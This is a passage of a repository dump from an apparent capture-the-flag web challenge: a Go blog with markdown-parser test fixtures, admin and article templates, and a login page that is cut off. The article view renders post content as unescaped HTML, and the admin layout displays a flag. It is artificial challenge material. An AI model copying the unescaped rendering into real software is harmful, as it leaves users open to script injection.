    "content": "## Unordered\n\nAsterisks tight:\n\n*\tasterisk 1\n*\tasterisk 2\n*\tasterisk 3\n\n\nAsterisks loose:\n\n*\tasterisk 1\n\n*\tasterisk 2\n\n*\tasterisk 3\n\n* * *\n\nPluses tight:\n\n+\tPlus 1\n+\tPlus 2\n+\tPlus 3\n\n\nPluses loose:\n\n+\tPlus 1\n\n+\tPlus 2\n\n+\tPlus 3\n\n* * *\n\n\nMinuses tight:\n\n-\tMinus 1\n-\tMinus 2\n-\tMinus 3\n\n\nMinuses loose:\n\n-\tMinus 1\n\n-\tMinus 2\n\n-\tMinus 3\n\n\n## Ordered\n\nTight:\n\n1.\tFirst\n2.\tSecond\n3.\tThird\n\nand:\n\n1. One\n2. Two\n3. Three\n\n\nLoose using tabs:\n\n1.\tFirst\n\n2.\tSecond\n\n3.\tThird\n\nand using spaces:\n\n1. One\n\n2. Two\n\n3. Three\n\nMultiple paragraphs:\n\n1.\tItem 1, graf one.\n\n\tItem 2. graf two. The quick brown fox jumped over the lazy dog's\n\tback.\n\t\n2.\tItem 2.\n\n3.\tItem 3.\n\n\n\n## Nested\n\n*\tTab\n\t*\tTab\n\t\t*\tTab\n\nHere's another:\n\n1. First\n2. Second:\n\t* Fee\n\t* Fie\n\t* Foe\n3. Third\n\nSame thing but with paragraphs:\n\n1. First\n\n2. Second:\n\t* Fee\n\t* Fie\n\t* Foe\n\n3. Third\n\n\nThis was an error in Markdown 1.0.1:\n\n*\tthis\n\n\t*\tsub\n\n\tthat\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Strong and em together.html",
    "content": "<p><strong><em>This is strong and em.</em></strong></p>\n\n<p>So is <strong><em>this</em></strong> word.</p>\n\n<p><strong><em>This is strong and em.</em></strong></p>\n\n<p>So is <strong><em>this</em></strong> word.</p>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Strong and em together.text",
    "content": "***This is strong and em.***\n\nSo is ***this*** word.\n\n___This is strong and em.___\n\nSo is ___this___ word.\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Tabs.html",
    "content": "<ul>\n<li><p>this is a list item\nindented with tabs</p></li>\n\n<li><p>this is a list item\nindented with spaces</p></li>\n</ul>\n\n<p>Code:</p>\n\n<pre><code>this code block is indented by one tab\n</code></pre>\n\n<p>And:</p>\n\n<pre><code>    this code block is indented by two tabs\n</code></pre>\n\n<p>And:</p>\n\n<pre><code>+   this is an example list item\n    indented with tabs\n\n+   this is an example list item\n    indented with spaces\n</code></pre>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Tabs.text",
    "content": "+\tthis is a list item\n\tindented with tabs\n\n+   this is a list item\n    indented with spaces\n\nCode:\n\n\tthis code block is indented by one tab\n\nAnd:\n\n\t\tthis code block is indented by two tabs\n\nAnd:\n\n\t+\tthis is an example list item\n\t\tindented with tabs\n\t\n\t+   this is an example list item\n\t    indented with spaces\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Tidyness.html",
    "content": "<blockquote>\n<p>A list within a blockquote:</p>\n\n<ul>\n<li>asterisk 1</li>\n<li>asterisk 2</li>\n<li>asterisk 3</li>\n</ul>\n</blockquote>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Tidyness.text",
    "content": "> A list within a blockquote:\n> \n> *\tasterisk 1\n> *\tasterisk 2\n> *\tasterisk 3\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref_test.go",
    "content": "//\n// Blackfriday Markdown Processor\n// Available at http://github.com/russross/blackfriday\n//\n// Copyright © 2011 Russ Ross <russ@russross.com>.\n// Distributed under the Simplified BSD License.\n// See README.md for details.\n//\n\n//\n// Markdown 1.0.3 reference tests\n//\n\npackage blackfriday\n\nimport (\n\t\"io/ioutil\"\n\t\"path/filepath\"\n\t\"testing\"\n)\n\nfunc runMarkdownReference(input string, flag int) string {\n\trenderer := HtmlRenderer(0, \"\", \"\")\n\treturn string(Markdown([]byte(input), renderer, flag))\n}\n\nfunc doTestsReference(t *testing.T, files []string, flag int) {\n\t// catch and report panics\n\tvar candidate string\n\tdefer func() {\n\t\tif err := recover(); err != nil {\n\t\t\tt.Errorf(\"\\npanic while processing [%#v]\\n\", candidate)\n\t\t}\n\t}()\n\n\tfor _, basename := range files {\n\t\tfilename := filepath.Join(\"upskirtref\", basename+\".text\")\n\t\tinputBytes, err := ioutil.ReadFile(filename)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"Couldn't open '%s', error: %v\\n\", filename, err)\n\t\t\tcontinue\n\t\t}\n\t\tinput := string(inputBytes)\n\n\t\tfilename = filepath.Join(\"upskirtref\", basename+\".html\")\n\t\texpectedBytes, err := ioutil.ReadFile(filename)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"Couldn't open '%s', error: %v\\n\", filename, err)\n\t\t\tcontinue\n\t\t}\n\t\texpected := string(expectedBytes)\n\n\t\tactual := string(runMarkdownReference(input, flag))\n\t\tif actual != expected {\n\t\t\tt.Errorf(\"\\n    [%#v]\\nExpected[%#v]\\nActual  [%#v]\",\n\t\t\t\tbasename+\".text\", expected, actual)\n\t\t}\n\n\t\t// now test every prefix of every input to check for\n\t\t// bounds checking\n\t\tif !testing.Short() {\n\t\t\tstart := 0\n\t\t\tfor end := start + 1; end <= len(input); end++ {\n\t\t\t\tcandidate = input[start:end]\n\t\t\t\t_ = runMarkdownReference(candidate, flag)\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestReference(t *testing.T) {\n\tfiles := []string{\n\t\t\"Amps and angle encoding\",\n\t\t\"Auto links\",\n\t\t\"Backslash escapes\",\n\t\t\"Blockquotes with code blocks\",\n\t\t\"Code Blocks\",\n\t\t\"Code Spans\",\n\t\t\"Hard-wrapped paragraphs with list-like lines\",\n\t\t\"Horizontal rules\",\n\t\t\"Inline HTML (Advanced)\",\n\t\t\"Inline HTML (Simple)\",\n\t\t\"Inline HTML comments\",\n\t\t\"Links, inline style\",\n\t\t\"Links, reference style\",\n\t\t\"Links, shortcut references\",\n\t\t\"Literal quotes in titles\",\n\t\t\"Markdown Documentation - Basics\",\n\t\t\"Markdown Documentation - Syntax\",\n\t\t\"Nested blockquotes\",\n\t\t\"Ordered and unordered lists\",\n\t\t\"Strong and em together\",\n\t\t\"Tabs\",\n\t\t\"Tidyness\",\n\t}\n\tdoTestsReference(t, files, 0)\n}\n\nfunc TestReference_EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK(t *testing.T) {\n\tfiles := []string{\n\t\t\"Amps and angle encoding\",\n\t\t\"Auto links\",\n\t\t\"Backslash escapes\",\n\t\t\"Blockquotes with code blocks\",\n\t\t\"Code Blocks\",\n\t\t\"Code Spans\",\n\t\t\"Hard-wrapped paragraphs with list-like lines no empty line before block\",\n\t\t\"Horizontal rules\",\n\t\t\"Inline HTML (Advanced)\",\n\t\t\"Inline HTML (Simple)\",\n\t\t\"Inline HTML comments\",\n\t\t\"Links, inline style\",\n\t\t\"Links, reference style\",\n\t\t\"Links, shortcut references\",\n\t\t\"Literal quotes in titles\",\n\t\t\"Markdown Documentation - Basics\",\n\t\t\"Markdown Documentation - Syntax\",\n\t\t\"Nested blockquotes\",\n\t\t\"Ordered and unordered lists\",\n\t\t\"Strong and em together\",\n\t\t\"Tabs\",\n\t\t\"Tidyness\",\n\t}\n\tdoTestsReference(t, files, EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/article/add.html",
    "content": "<link rel=\"stylesheet\" href=\"/static/css/tomorrow-night-eighties.css\" />\n<script src=\"/static/javascript/bootstrap.min.js\"></script>\n<script src=\"/static/javascript/jquery.cookie.js\"></script>\n<script src=\"/static/javascript/autosize.js\"></script>\n<script src=\"/static/javascript/pretty.print.js\"></script>\n<script src=\"/static/javascript/jstorage.min.js\"></script>\n<script src=\"/static/javascript/app.min.js\"></script>\n\n<form role=\"form\" action=\"/me/article/add\" method=\"post\">\n    <div class=\"row form-group\">\n        <div class=\"col-xs-6\">\n            <input type=\"text\" class=\"form-control\" placeholder=\"Enter Title\" name=\"title\">\n        </div>\n        <div class=\"col-xs-3\">\n            <input type=\"text\" class=\"form-control\" placeholder=\"Enter Identity\" name=\"ident\">\n        </div>\n        <div class=\"col-xs-3\">\n            <input type=\"text\" class=\"form-control\" placeholder=\"Enter Keywords\" name=\"keywords\">\n        </div>\n    </div>\n    <div class=\"row form-group\">\n        <div class=\"col-xs-4\">\n            <select class=\"form-control\" name=\"catalog_id\">\n                {{range .Catalogs}}\n                <option value=\"{{.Id}}\">{{.Name}}</option>\n                {{end}}\n            </select>\n\n        </div>\n        <div class=\"col-xs-2\">\n            <select class=\"form-control\" name=\"type\">\n                <option value=\"0\">原创</option>\n                <option value=\"1\">翻译</option>\n                <option value=\"2\">转载</option>\n            </select>\n\n        </div>\n        <div class=\"col-xs-2\">\n            <select class=\"form-control\" name=\"status\">\n                <option value=\"1\">立即发布</option>\n                <option value=\"0\">保存草稿</option>\n            </select>\n        </div>\n    </div>\n\n\n    <div class=\"markdown-editor\"  data-preview-url=\"/api/markdown\" data-savekey=\"post/new\">\n\n        <div class=\"form-group\">\n            <div class=\"btn-toolbar md-toolbar\" role=\"toolbar\">\n                <div class=\"btn-group\">\n                    <button type=\"button\" class=\"btn btn-default md-btn\" data-meta=\"preview\"><i class=\"icon-eye-open\"></i> 预览</button>\n                </div>\n                <div class=\"btn-group\">\n                    <button type=\"button\" class=\"btn btn-default md-btn\" data-meta=\"image\" data-placement=\"bottom\"><i class=\"icon-picture\"></i></button>\n                    <button type=\"button\" class=\"btn btn-default md-btn\" data-meta=\"code\"><i class=\"icon-code\"></i></button>\n                </div>\n                <div class=\"btn-group\">\n                    <button type=\"button\" class=\"btn btn-default md-btn disabled\" data-meta=\"undo\"><div class=\"icon-rotate-left\"></div></button>\n                    <button type=\"button\" class=\"btn btn-default md-btn disabled\" data-meta=\"redo\"><i class=\"icon-rotate-right\"></i></button>\n                </div>\n            </div>\n            <div class=\"md-textarea\">\n                <textarea id=\"PostForm-Content\" name=\"content\" rows=\"5\" class=\"form-control\"></textarea>\n            </div>\n        </div>\n        <div class=\"md-preview markdown\" style=\"display:none;\">\n        </div>\n\n        <script type=\"text/template\" rel=\"image-popover-title\">\n            插入图片\n            <a class=\"pull-right color-link\" rel=\"image-upload\" href=\"javascript:\"><i class=\"icon-upload-alt\"></i> 上传</a>\n        </script>\n\n        <script type=\"text/template\" rel=\"image-popover-content\">\n            <div class=\"md-image\">\n                <form class=\"md-image-form\" style=\"display:none;\" action=\"/api/upload\" data-dismiss=\"upload\" enctype=\"multipart/form-data\" method=\"POST\">\n                    <div style=\"display:none\" class=\"alert alert-danger alert-small\" data-message=\"Upload Failed! Please retry.\"></div>\n                    <div style=\"display:none\" class=\"alert alert-success alert-small\">Upload Success!</div>\n                    <input type=\"hidden\" name=\"type\" value=\"image\">\n                    <div class=\"form-group\">\n                        <input class=\"form-control\" type=\"text\" disabled=\"disabled\" rel=\"filename\">\n                        <input style=\"width:0;height:0;position:fixed;top:9999px;left:9999px;\" type=\"file\" name=\"image\">\n                    </div>\n                    <div class=\"form-group\">\n                        <div class=\"text-center\">\n                            <span class=\"btn-group\">\n                                <button class=\"btn btn-default\" type=\"button\" rel=\"button\">Select File</button>\n                                <button class=\"btn btn-default\" type=\"submit\">Upload Now</button>\n                            </span>\n                        </div>\n                    </div>\n                </form>\n                <div class=\"form-group\">\n                    <input class=\"form-control\" type=\"text\" name=\"link\" placeholder=\"Please enter image link\">\n                </div>\n                <button class=\"btn btn-info btn-block\" type=\"button\" rel=\"image-insert\">\n                    Insert\n                </button>\n            </div>\n        </script>\n\n    </div>\n\n    <div class=\"md-preview markdown\" style=\"display:none;\">\n    </div>\n\n    <button type=\"submit\" class=\"btn btn-primary\">Submit</button>\n</form>\n\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/article/by_catalog.html",
    "content": "<div class=\"entry-list\">\n{{range .Blogs}}\n<div class=\"item\" itemscope=\"\" itemtype=\"http://schema.org/Article\">\n    <h2 class=\"entry-title\" itemprop=\"name\">\n        <a class=\"icon-link\" href=\"/article/{{.Ident}}\" itemprop=\"url\" style=\"text-decoration: none;\">{{.Title}}</a>\n    </h2>\n    <div class=\"entry-views\">{{.Views}}</div>\n\n    <div class=\"entry-meta\">\n      <span>发表于：{{dateformat .Created \"2006-01-02 15:04:05\"}}</span>\n      {{if $.IsAdmin}}\n      (<a href=\"/me/article/edit?id={{.Id}}\">Edit</a>\n      <span class=\"cut-line\">|</span>\n      <a href=\"/me/article/del?id={{.Id}}\">Del</a>)\n      {{end}}\n    </div>\n    <a class=\"entry-snippet\" itemprop=\"description\" href=\"/article/{{.Ident}}\">\n      {{.Content.HTMLContent}}...\n    </a>\n  </div>\n{{end}}\n</div>\n\n{{template \"inc/paginator.html\" .}}"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/article/draft.html",
    "content": "{{range .Blogs}}\n<a href=\"/me/article/edit?id={{.Id}}\">{{.Title}}</a><br>\n{{end}}"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/article/edit.html",
    "content": "<link rel=\"stylesheet\" href=\"/static/css/tomorrow-night-eighties.css\" />\n<script src=\"/static/javascript/bootstrap.min.js\"></script>\n<script src=\"/static/javascript/jquery.cookie.js\"></script>\n<script src=\"/static/javascript/autosize.js\"></script>\n<script src=\"/static/javascript/pretty.print.js\"></script>\n<script src=\"/static/javascript/jstorage.min.js\"></script>\n<script src=\"/static/javascript/app.min.js\"></script>\n\n<form role=\"form\" action=\"/me/article/edit\" method=\"post\">\n    <input type=\"hidden\" name=\"id\" value=\"{{.Blog.Id}}\">\n    <div class=\"row form-group\">\n        <div class=\"col-xs-6\">\n            <input type=\"text\" class=\"form-control\" placeholder=\"Enter Title\" name=\"title\" value=\"{{.Blog.Title}}\">\n        </div>\n        <div class=\"col-xs-3\">\n            <input type=\"text\" class=\"form-control\" placeholder=\"Enter Identity\" name=\"ident\" value=\"{{.Blog.Ident}}\">\n        </div>\n        <div class=\"col-xs-3\">\n            <input type=\"text\" class=\"form-control\" placeholder=\"Enter Keywords\" name=\"keywords\" value=\"{{.Blog.Keywords}}\">\n        </div>\n    </div>\n    <div class=\"row form-group\">\n        <div class=\"col-xs-4\">\n            <select class=\"form-control\" name=\"catalog_id\">\n                {{range .Catalogs}}\n                <option {{if eq .Id $.Blog.CatalogId}}selected{{end}} value=\"{{.Id}}\">{{.Name}}</option>\n                {{end}}\n            </select>\n\n        </div>\n        <div class=\"col-xs-2\">\n            <select class=\"form-control\" name=\"type\">\n                <option {{if eq .Blog.Type 0}}selected{{end}} value=\"0\">原创</option>\n                <option {{if eq .Blog.Type 1}}selected{{end}} value=\"1\">翻译</option>\n                <option {{if eq .Blog.Type 2}}selected{{end}} value=\"2\">转载</option>\n            </select>\n\n        </div>\n        <div class=\"col-xs-2\">\n            <select class=\"form-control\" name=\"status\">\n                <option {{if eq .Blog.Status 1}}selected{{end}} value=\"1\">立即发布</option>\n                <option {{if eq .Blog.Status 0}}selected{{end}} value=\"0\">保存草稿</option>\n            </select>\n        </div>\n    </div>\n\n\n    <div class=\"markdown-editor\"  data-preview-url=\"/api/markdown\" data-savekey=\"post/edit\">\n\n        <div class=\"form-group\">\n            <div class=\"btn-toolbar md-toolbar\" role=\"toolbar\">\n                <div class=\"btn-group\">\n                    <button type=\"button\" class=\"btn btn-default md-btn\" data-meta=\"preview\"><i class=\"icon-eye-open\"></i> 预览</button>\n                </div>\n                <div class=\"btn-group\">\n                    <button type=\"button\" class=\"btn btn-default md-btn\" data-meta=\"image\" data-placement=\"bottom\"><i class=\"icon-picture\"></i></button>\n                    <button type=\"button\" class=\"btn btn-default md-btn\" data-meta=\"code\"><i class=\"icon-code\"></i></button>\n                </div>\n                <div class=\"btn-group\">\n                    <button type=\"button\" class=\"btn btn-default md-btn disabled\" data-meta=\"undo\"><div class=\"icon-rotate-left\"></div></button>\n                    <button type=\"button\" class=\"btn btn-default md-btn disabled\" data-meta=\"redo\"><i class=\"icon-rotate-right\"></i></button>\n                </div>\n            </div>\n            <div class=\"md-textarea\">\n                <textarea id=\"PostForm-Content\" name=\"content\" rows=\"5\" class=\"form-control\">{{.Content}}</textarea>\n            </div>\n        </div>\n        <div class=\"md-preview markdown\" style=\"display:none;\">\n        </div>\n\n        <script type=\"text/template\" rel=\"image-popover-title\">\n            插入图片\n            <a class=\"pull-right color-link\" rel=\"image-upload\" href=\"javascript:\"><i class=\"icon-upload-alt\"></i> 上传</a>\n        </script>\n\n        <script type=\"text/template\" rel=\"image-popover-content\">\n            <div class=\"md-image\">\n                <form class=\"md-image-form\" style=\"display:none;\" action=\"/api/upload\" data-dismiss=\"upload\" enctype=\"multipart/form-data\" method=\"POST\">\n                    <div style=\"display:none\" class=\"alert alert-danger alert-small\" data-message=\"Upload Failed! Please retry.\"></div>\n                    <div style=\"display:none\" class=\"alert alert-success alert-small\">Upload Success!</div>\n                    <input type=\"hidden\" name=\"type\" value=\"image\">\n                    <div class=\"form-group\">\n                        <input class=\"form-control\" type=\"text\" disabled=\"disabled\" rel=\"filename\">\n                        <input style=\"width:0;height:0;position:fixed;top:9999px;left:9999px;\" type=\"file\" name=\"image\">\n                    </div>\n                    <div class=\"form-group\">\n                        <div class=\"text-center\">\n                            <span class=\"btn-group\">\n                                <button class=\"btn btn-default\" type=\"button\" rel=\"button\">Select File</button>\n                                <button class=\"btn btn-default\" type=\"submit\">Upload Now</button>\n                            </span>\n                        </div>\n                    </div>\n                </form>\n                <div class=\"form-group\">\n                    <input class=\"form-control\" type=\"text\" name=\"link\" placeholder=\"Please enter image link\">\n                </div>\n                <button class=\"btn btn-info btn-block\" type=\"button\" rel=\"image-insert\">\n                    Insert\n                </button>\n            </div>\n        </script>\n\n    </div>\n\n    <div class=\"md-preview markdown\" style=\"display:none;\">\n    </div>\n\n    <button type=\"submit\" class=\"btn btn-primary\">Submit</button>\n</form>\n\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/article/read.html",
    "content": "<link rel=\"stylesheet\" href=\"/static/css/tomorrow-night-eighties.css\" />\n<style type=\"text/css\">\nimg{border-radius: 4px;}\n</style>\n<script src=\"/static/javascript/pretty.print.js\"></script>\n<script src=\"/static/javascript/lib.min.js\"></script>\n<div class=\"entry-list\">\n<div class=\"item\" itemscope=\"\" itemtype=\"http://schema.org/Article\">\n    <h2 class=\"entry-title\" itemprop=\"name\">\n        <div class=\"icon-link\">{{.Blog.Title}}</div>\n    </h2>\n    <div class=\"entry-views\">{{.Blog.Views}}</div>\n\n    <div class=\"entry-meta\">\n      <span><a style=\"color:#ccc;text-decoration: underline;\" href=\"/catalog/{{.Catalog.Ident}}\">{{.Catalog.Name}}</a></span>\n      <span class=\"dot\">·</span>\n      <span>{{dateformat .Blog.Created \"2006-01-02 15:04:05\"}}</span>\n    </div>\n    <div class=\"entry-snippet markdown\">{{str2html .Content}}</div>\n  </div>\n</div>\n<script type=\"text/javascript\">\nvar $pre = $('pre > code').parent();\n$pre.addClass(\"prettyprint\");\nprettyPrint();\n</script>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/catalog/add.html",
    "content": "<form class=\"form-horizontal\" role=\"form\" method=\"post\" action=\"/me/catalog/add\" enctype=\"multipart/form-data\">\n    <div class=\"form-group\">\n        <label for=\"name\" class=\"col-sm-2 control-label\">分类名称：</label>\n\n        <div class=\"col-sm-3\">\n            <input class=\"form-control\" id=\"name\" name=\"name\">\n        </div>\n    </div>\n    <div class=\"form-group\">\n        <label for=\"ident\" class=\"col-sm-2 control-label\">英文标识：</label>\n\n        <div class=\"col-sm-3\">\n            <input class=\"form-control\" id=\"ident\" name=\"ident\">\n        </div>\n    </div>\n    <div class=\"form-group\">\n        <label for=\"resume\" class=\"col-sm-2 control-label\">分类简介：</label>\n\n        <div class=\"col-sm-10\">\n            <input class=\"form-control\" id=\"resume\" name=\"resume\">\n        </div>\n    </div>\n    <div class=\"form-group\">\n        <label for=\"display_order\" class=\"col-sm-2 control-label\">排序权值：</label>\n\n        <div class=\"col-sm-1\">\n            <input class=\"form-control\" id=\"display_order\" name=\"display_order\">\n        </div>\n    </div>\n    <div class=\"form-group\">\n        <label for=\"img\" class=\"col-sm-2 control-label\">封面图片：</label>\n\n        <div class=\"col-sm-1\">\n            <input id=\"img\" type=\"file\" name=\"img\">\n        </div>\n    </div>\n    <div class=\"form-group\">\n        <div class=\"col-sm-offset-2 col-sm-10\">\n            <button type=\"submit\" class=\"btn btn-primary\">新增</button>\n        </div>\n    </div>\n</form>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/catalog/edit.html",
    "content": "<form class=\"form-horizontal\" role=\"form\" method=\"post\" action=\"/me/catalog/edit\" enctype=\"multipart/form-data\">\n    <input type=\"hidden\" name=\"catalog_id\" value=\"{{.Catalog.Id}}\">\n    <div class=\"form-group\">\n        <label for=\"name\" class=\"col-sm-2 control-label\">分类名称：</label>\n\n        <div class=\"col-sm-3\">\n            <input class=\"form-control\" id=\"name\" name=\"name\" value=\"{{.Catalog.Name}}\">\n        </div>\n    </div>\n    <div class=\"form-group\">\n        <label for=\"ident\" class=\"col-sm-2 control-label\">英文标识：</label>\n\n        <div class=\"col-sm-3\">\n            <input class=\"form-control\" id=\"ident\" name=\"ident\" value=\"{{.Catalog.Ident}}\">\n        </div>\n    </div>\n    <div class=\"form-group\">\n        <label for=\"resume\" class=\"col-sm-2 control-label\">分类简介：</label>\n\n        <div class=\"col-sm-10\">\n            <input class=\"form-control\" id=\"resume\" name=\"resume\" value=\"{{.Catalog.Resume}}\">\n        </div>\n    </div>\n    <div class=\"form-group\">\n        <label for=\"display_order\" class=\"col-sm-2 control-label\">排序权值：</label>\n\n        <div class=\"col-sm-1\">\n            <input class=\"form-control\" id=\"display_order\" name=\"display_order\" value=\"{{.Catalog.DisplayOrder}}\">\n        </div>\n    </div>\n    <div class=\"form-group\">\n        <label for=\"img\" class=\"col-sm-2 control-label\">封面图片：</label>\n\n        <div class=\"col-sm-2\">\n            <input id=\"img\" type=\"file\" name=\"img\">\n        </div>\n         <div class=\"col-sm-8\">\n            后台如果发现没有选择新的图片文件，就会使用原来的图片，不用担心丢失\n        </div>\n    </div>\n    <div class=\"form-group\">\n        <div class=\"col-sm-offset-2 col-sm-10\">\n            <button type=\"submit\" class=\"btn btn-primary\">修改</button>\n        </div>\n    </div>\n</form>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/inc/paginator.html",
    "content": "{{if gt .paginator.PageNums 1}}\n<ul class=\"pagination mt0 mb20\">\n    {{if .paginator.HasPrev}}\n    <li><a href=\"{{.paginator.PageLinkFirst}}\">首页</a></li>\n    <li><a href=\"{{.paginator.PageLinkPrev}}\">&lt;</a></li>\n    {{else}}\n    <li class=\"disabled\"><a>首页</a></li>\n    <li class=\"disabled\"><a>&lt;</a></li>\n    {{end}}\n    {{range $index, $page := .paginator.Pages}}\n    <li{{if $.paginator.IsActive .}} class=\"active\"{{end}}>\n    <a href=\"{{$.paginator.PageLink $page}}\">{{$page}}</a>\n    </li>\n    {{end}}\n    {{if .paginator.HasNext}}\n    <li><a href=\"{{.paginator.PageLinkNext}}\">&gt;</a></li>\n    <li><a href=\"{{.paginator.PageLinkLast}}\">尾页</a></li>\n    {{else}}\n    <li\n    class=\"disabled\"><a>&gt;</a></li>\n    <li\n    class=\"disabled\"><a>尾页</a></li>\n    {{end}}\n</ul>\n{{end}}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/index.html",
    "content": "<style type=\"text/css\">\n#header{padding-right:8px;}\n</style>\n\n<div id=\"collections\">\n    <div class=\"section container\" style=\"padding:0;\">\n        {{range .Catalogs}}\n        <div class=\"collection-card\" itemscope=\"\" itemtype=\"http://schema.org/CollectionPage\">\n            <a style=\"border-top:1px solid #eee;border-bottom:1px solid #eee;\" href=\"/catalog/{{.Ident}}\"><img class=\"cover\" src=\"{{.ImgUrl}}\" alt=\"{{.Name}}\"></a>\n            <div class=\"card-info\">\n                <a href=\"/catalog/{{.Ident}}\"><h3 class=\"collection-name\">{{.Name}}</h3></a>\n\n                <p class=\"description\">\n                    {{.Resume}}\n                    {{if $.IsAdmin}}\n                    <div>\n                    (<a style=\"display:inline;\" href=\"/me/catalog/edit?id={{.Id}}\"> Edit</a><span class=\"cut-line\">|</span><a style=\"display:inline;\" href=\"/me/catalog/del?id={{.Id}}\">Del </a>)\n                    </div>\n                    {{end}}\n                </p>\n            </div>\n            \n        </div>\n        {{end}}\n    </div>\n</div>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/layout/admin.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <title>后台管理 - {{.BlogTitle}}</title>\n    <link rel=\"stylesheet\" href=\"/static/css/lib.min.css\"/>\n    <link rel=\"stylesheet\" href=\"/static/css/g.css\"/>\n    <script type=\"text/javascript\" src=\"/static/javascript/lib.min.js\"></script>\n</head>\n<body>\n    <div id=\"screen\">\n        <header id=\"header\" class=\"mt20\">\n            <div class=\"fl\">\n                <a href=\"/\" ><img id=\"logo-img\" src=\"{{.BlogLogo}}\" class=\"img-circle\" width=\"90\" height=\"90\"></a>\n            </div>\n            <div class=\"fl\">\n                <div id=\"blog-title\">{{.BlogTitle}}</div>\n                <div id=\"blog-resume\">{{.BlogResume}}</div>\n            </div>\n            <div style=\"clear:both;\"></div>\n            <hr>\n        </header>\n        <ul class=\"nav nav-pills mb20\">\n            <li class=\"{{if .IsAddCatalog}}active{{end}}\"><a href=\"/me/catalog/add\">增加分类</a></li>\n            <li class=\"{{if .IsPost}}active{{end}}\"><a href=\"/me/article/add\">发表博文</a></li>\n            <li class=\"{{if .IsDraft}}active{{end}}\"><a href=\"/me/article/draft\">[草稿箱]</a></li>\n            <li><a href=\"/logout\">退出</a></li>\n            <!-- **CHECKER USING** Do NOT edit unless you know what you are doing. -->\n            <li><a href=\"#\">Check your flag: {{.FlagData}}</a></li>\n        </ul>\n        {{.LayoutContent}}\n    </div>\n</body>\n</html>"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/layout/default.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <title>{{.PageTitle}} - {{.BlogTitle}}</title>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"/static/css/ee22d.css\">\n    <link rel=\"stylesheet\" href=\"/static/css/g.css\"/>\n    <link rel=\"shortcut icon\" href=\"/static/favicon.ico\">\n    <style>\n        #screen{margin:0 auto; width:630px; }\n    </style>\n</head>\n<body>\n    <div id=\"screen\">\n        <header id=\"header\" class=\"mt20\">\n            <div class=\"fl\">\n                <a href=\"/\" ><img id=\"logo-img\" src=\"{{.BlogLogo}}\" class=\"img-circle\" width=\"90\" height=\"90\"></a>\n            </div>\n            <div class=\"fl\">\n                <div id=\"blog-title\"><a href=\"/\">{{.BlogTitle}}</a></div>\n                <div id=\"blog-resume\">{{.BlogResume}}</div>\n            </div>\n            <div style=\"clear:both;\"></div>\n            <hr>\n        </header>\n        {{.LayoutContent}}\n\n\n<div class=\"clear\"></div>\n<footer>\n    <div class=\"site-source\">\n        <a href=\"/\">TSCTF-Blog</a><br />\n        May 2018\n    </div>\n    <div class=\"sfc-member\">\n        Modified for TSCTF<br />\n        by Henryzhao.\n    </div>\n</footer>\n\n    </div>\n</body>\n</html>"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/views/login/login.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <title>Login</title>\n    <link rel=\"stylesheet\" href=\"/static/css/semantic.min.css\"/>\n    <script src=\"/static/javascript/lib.min.js\"></script>\n    <script src=\"/static/javascript/crypto-js.js\"></script>\n    <style>\n        *{ font:12pt Verdana,Arial,Microsoft YaHei,sans-serif; color:#666666; word-wrap:break-word;}\n        #screen{margin:0 auto; width:420px; margin-top:100px; }\n        .field label {font-weight: bold;}\n        .ui.message .header {font-size: 1em;}\n    </style>\n    <script type=\"text/javascript\">\n        function login() {\n            var name = $(\"#name\").val()\n            var password = $(\"#password\").val()\n            if (name.length == 0) {\n                $(\"#err .header\").html(\"username is blank\");\n                $(\"#err\").show(\"fast\");\n                return false;\n            }\n\n            if (password.length == 0) {\n                $(\"#err .header\").html(\"password is blank\");\n                $(\"#err\").show(\"fast\");\n                return false;\n            }\n\n            $.post(\"{{urlfor \"LoginController.DoLogin\"}}\", {\"name\":name, \"password\": password + ''}, function(data){\n                if (data == 'login success') {\n                    window.location.href=\"/\";\n                } else {\n                    $(\"#err .header\").html(data);\n                    $(\"#err\").show(\"fast\");\n                }\n            });\n        }\n        $(function(){\n            $(\"#name\").keypress(function(e){\n                $(\"#err\").hide(\"fast\");\n                if(e.keyCode==13){\n                    login();\n                }\n            });\n            $(\"#password\").keypress(function(e){\n                $(\"#err\").hide(\"fast\");\n                if(e.keyCode==13){\n                    login();\n                }\n            });\n        });\n    </script>\n</head>\n<body>\n    <div id=\"screen\">\n        <div class=\"ui form segment\">\n            <div class=\"field\">\n                <label>Username</label>\n                <div class=\"ui left labeled icon input\">\n                    <input type=\"text\" placeholder=\"Username\" id=\"name\">\n                    <i class=\"user icon\"></i>\n                    <div class=\"ui corner label\">\n                        <i class=\"icon asterisk\"></i>\n                    </div>\n                </div>\n            </div>\n            <div class=\"field\">\n                